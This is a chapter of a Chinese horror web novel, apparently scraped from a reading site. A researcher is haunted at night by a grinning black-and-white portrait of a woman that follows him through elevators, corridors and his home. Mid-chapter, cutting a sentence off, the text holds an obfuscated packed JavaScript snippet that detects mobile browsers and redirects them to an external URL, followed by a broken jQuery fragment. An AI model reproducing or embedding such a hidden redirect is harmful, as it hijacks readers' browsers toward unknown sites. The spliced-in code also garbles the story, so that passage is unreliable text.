34. 夜班

作品:《失业反派再就业指南

    约翰·里弗总觉得有哪里不对劲。


    自从项目进度长期停滞不前,他们组长被所长和罗德里格斯将军在会议中轮番当众痛骂后,组内的氛围就变得越来越紧绷了。


    组长在外丢了大脸,回来就拿底层组员撒气,气急败坏的样子像个上蹿下跳的可笑智人。早上踩点到把他一顿骂,工作态度不积极把他一顿骂,喝水喝得多把他一顿骂,连上厕所时间长一点又是把他一顿骂!


    哪来那么多东西能骂?!去你丫的!


    约翰·里弗抓住机会,往组长的咖啡杯里吐了口痰。看着组长还忙着口沫横飞,一无所知地将加料咖啡一饮而尽,他终于感到了报复的舒爽。


    等好不容易摸鱼摸下了班,一看时间已经接近午夜。他用通讯器叫了辆车,就继续刷起视频来。


    约翰有一个追了很久的漂亮女主播,每次看到她,他脑袋里就充斥着下流的想法,触角也忍不住上下摇晃。


    从他在她身上花费的金额来看,他完全就是对方最忠实的粉丝。每次直播都捧场只是基础,有时他甚至还会给她刷礼物,发付费留言,而主播也总是非常热情地回应他。


    可惜她今晚没有开播,也不知道是不是又在偷懒。


    明明数据一点都不好,怎么还不知道再努力一点?


    他的住所在一处还算是比较高档的小区里,环境比较安全,可惜离研究所有点远。


    刷开门禁,呼叫电梯,走廊的灯光毫无征兆地闪烁了一下,发出轻微的“滋滋”声。


    突如其来的黑暗吓了约翰一跳,他下意识四下张望,嘴里骂骂咧咧:“该死的物业又在偷懒,平时交的钱都吃到哪去了,一群不做事的蠢猪……这什么?”


    转回身,约翰背后的墙上挂着一幅奇怪的人像海报。


    黑发黑眼的女人被框在金属的框架之中,面无表情,暖色的发暗灯光冲不淡她眉宇间死气沉沉的阴郁。和往常投放的,主题鲜明、色彩明快的宣传广告不同,这张黑白的人像旁没有留下任何只言片语。


    “……”


    脏话莫名堵在喉咙里,约翰略感不适地移开视线,左右走动几步,若有似无的违和感在心头盘旋,像夏日时耳边嘤嘤不绝的蚊鸣声一样扰人。


    该死的电梯怎么还不来?!


    约翰烦躁地关闭通讯器,恼羞成怒地磨磨牙,较劲一样用力瞪向海报上的女人,好像这样就能赢下什么似的。


    哈,无聊!不就是一张脑残的照片吗?鬼知道她为什么要在小区里投放莫名其妙的广告,怎么的,下海宣言?一看就是没人要的货色!


    他想着想着把自己想爽了,神情又变得扬眉吐气起来。


    目光再次与讨厌的女人相接,心里蓦地打了个突。


    他知道这幅人像的违和感从何而来了。


    位置错了。


    一般而言,当海报中的模特需要看向画面外时,视线总是平视着前方。他们需要与画面外尽可能多的路人视线沟通,以此来传递自己的真诚,加强潜在顾客对品牌的信任。


    所以,广告牌最合适的画面中心高度在离地一米五左右。


    但这幅人像海报悬挂的位置太高,离地恐怕有将近一米七的距离,和最佳高度相比生生抬高了二十厘米。


    这是很低级的错误。就像约翰的身高只有一米六五,站在人像的正下方,要是他想看着这幅人像,就必须微微抬起头。


    但女人的目光仍旧与他相接了。


    她低下了头,在看他。


    “叮”的一声,身后,姗姗来迟的电梯终于打开了门。


    这一声无异于救星降临,约翰如释重负地转身,却看见电梯里正对着门的墙上,同样挂着一幅黑白人像……是那个阴沉的女人。


    她直直地看着他。


    一分钟后,无人进入的电梯缓缓关闭。


    退回大厅的约翰·里弗拨打了物业的号码,并在对方接通后暴怒地大吼大叫了十几分钟,直到对面第六次承诺立刻前来查看情况。


    挂断通话后,约翰才发现,他的手在微微颤抖。


    有什么可怕的?!简直是大惊小怪!


    他在心里咒骂着。


    但当维修人员到场之后,他又再一次傻眼了。


    电梯外根本就没有广告牌。


    连灯都亮了许多!


    维修人员按开他指着的那台电梯,电梯内的广告内容只是再正常不过的宠物磨牙玩具而已。


    “……请问您就是对这份广告的内容有不满吗?”她硬着头皮问。


    她疑惑又小心翼翼的眼神再次戳痛了约翰,他粗声吆喝道:“就你话多,我爱坐哪台电梯就坐哪台,给我把另一台叫下来。”


    实在是不想和神经病纠缠下去,维修人员一手仍然提着工具箱,一只脚跨进电梯,探头按下最高楼层的按键,等电梯门关闭后,才再次按下上楼键。


    “那……没事的话我先走了?”


    约翰也没脸叫维修人员站在这陪他,不耐烦地挥挥手把人赶走,然后打开视频网站,随手点了个吵闹的主播听声音。


    电梯开门后,他先扭头看了看,看见三面墙上都没有广告牌,这才松了一口气走进电梯,想要按下自家所在的11楼时,却恼火地看见电梯里所有楼层键都是亮着的。


    哪来的手贱孩子,去死!


    但即便如此,他也不会去用另一台电梯的,忍忍算了。


    电梯门缓缓关闭,约翰的下巴下意识后收,见到电梯门上也是干净的之后,才彻底放下心。


    二楼、三楼、四楼。


    电梯门打开,露出黑暗的楼道,闭合,继续往上升。


    约翰表面上专心看着直播,实际上注意力全在门上。心脏的剧烈跳动逐渐平复,他开始懊恼之前怎么没有记得拍一张女人的照片。


    他倒是要查查看是谁在整他!


    电梯门再一次开启。


    约翰心里转着念头,一边瞥向楼道。借着电梯透出的灯光,他看见电梯的正对面,楼道的墙上,挂着那个女人的黑白人像。


    但和一楼的人像稍有不同,这张盯着他看的人像,是笑着的。


    电梯门再度关闭,电梯往上升。


    约翰仿佛听见自己的脑内发出“轰”的一声。


    耳畔,直播间里欢快的乐曲好像突然离他很远,取而代之的是轻微的耳鸣。


    报警?不,不可能,他要怎么和警察说?有一张人像跟着他?他会变成漩涡星系第一笑柄的。


    研究所?军部可能会对这玩意感兴趣,但那东西会跑!如果他们认定他是在撒谎,他的下场绝对会很惨!


    他得跑!他得马上跑!他不能再待在这儿了!


    约翰打定主意,要在六楼出电梯,走楼梯下去。


    于是,当电梯门再次打开时,他喊了一声,声控


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470870|201471||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    灯应声而亮,约翰却在看清电梯外景象的一瞬间从头皮麻到了脚后跟。


    原来,在电梯光照不到的地方,整条楼道走廊的墙上都挂满了女人的黑白人像。


    她们都在看着他,毫无笑意的笑容咧得更大了。


    电梯门再度关闭。


    约翰双腿一软,噗通一声滑坐在地。


    他实在不敢在那种情况下出门,也不敢赌楼梯间里会是什么情况。


    紧急停止电梯的按钮就在手边,他却不知道自己可以怎样做。


    电梯没办法往下走,他又不敢停留在这层楼,只能继续往上。但谁又知道下一层是什么情况?


    七层、八层。


    他再也不敢喊开声控灯了,只抱着自己的包,瑟瑟发抖地和对面墙上的女人对视。


    她的笑容越来越大,越来越狰狞。


    到了第九层的时候,几乎已经失去了原来的轮廓,只隐约还能看出是张人脸,扭曲成只有噩梦中才能见到的怪物一般了。


    约翰呼吸急促,不停安慰麻痹自己,11层就要到了。不管她变成什么样,都只是一幅墙上的海报而已!如果她一开始就能杀人,为什么要大费周章恐吓他呢?


    她不想他回家,反而正说明了家里是安全的。只要熬过今晚,从明天开始,他就常驻在实验室当钉子户,问就是热爱上班,组长休想赶走他!


    既然她已经缠上他,那他就全部报告给军部好了。军部连杀人如麻的神眷者都能轻松抓捕,更别说这种只能挂在墙上的鬼东西了!


    电梯在十楼停下,电梯门再次打开,出现在约翰面前的,却并非又一条漆黑的走廊。


    巨大的女人海报填满了整个电梯门,笑容咧到了耳根。


    她仍然死死地盯着他。


    约翰被困在四面封闭的牢笼之中。


    他声嘶力竭地惨叫起来,一声接着一声,身体触电般剧烈颤抖,两腿踢蹬着往后缩,鼻涕眼泪流了满脸。


    电梯升上11层后,堵门的女人脸消失了,声控灯被惨叫惊起,楼道走廊空无一物。


    没有那个女人。


    约翰的四肢仍然不听使唤,只能在地上爬动着逃出电梯,哆哆嗦嗦了好一阵才控制住脸部肌肉,成功回到了家里。


    家里的陈设和约翰早上离开前没什么两样。


    没洗的衣物凌乱地甩在房间的各个角落,吃完忘了丢的食物盒子堆成一堆,窗帘常年紧闭,所有小物品都杂乱无章地随手乱放,除了他自己以外,没人都别想在这里找到什么东西。


    他打开家里所有的灯,神经过敏地检查了很久,甚至强忍着恐惧照了照床底下,才勉强相信这里是安全的。睡是不可能睡着了,但他还是决定就在大厅的沙发上开着灯熬一晚,明早直奔研究所。


    约翰再一次一猛子扎进了直播里,开了最大声的外放,试图把恐惧感冲淡。


    但笑着笑着,他嘴角的弧度缓缓放平。


    他总觉得有哪里不对劲。


    是哪里?


    他自欺欺人地努力控制着自己不去看、不去想,想要假装自己什么都没有发现,双眼紧盯着屏幕上欢快的游戏画面,眼泪却顺着脸颊流下来。


    “啪”的一声,灯灭了。


    月光透过窗帘,一个人影静静地映在帘幕之后。


    不知怎的,约翰看到了她脸上扭曲的笑容。


    他像她一样笑了起来。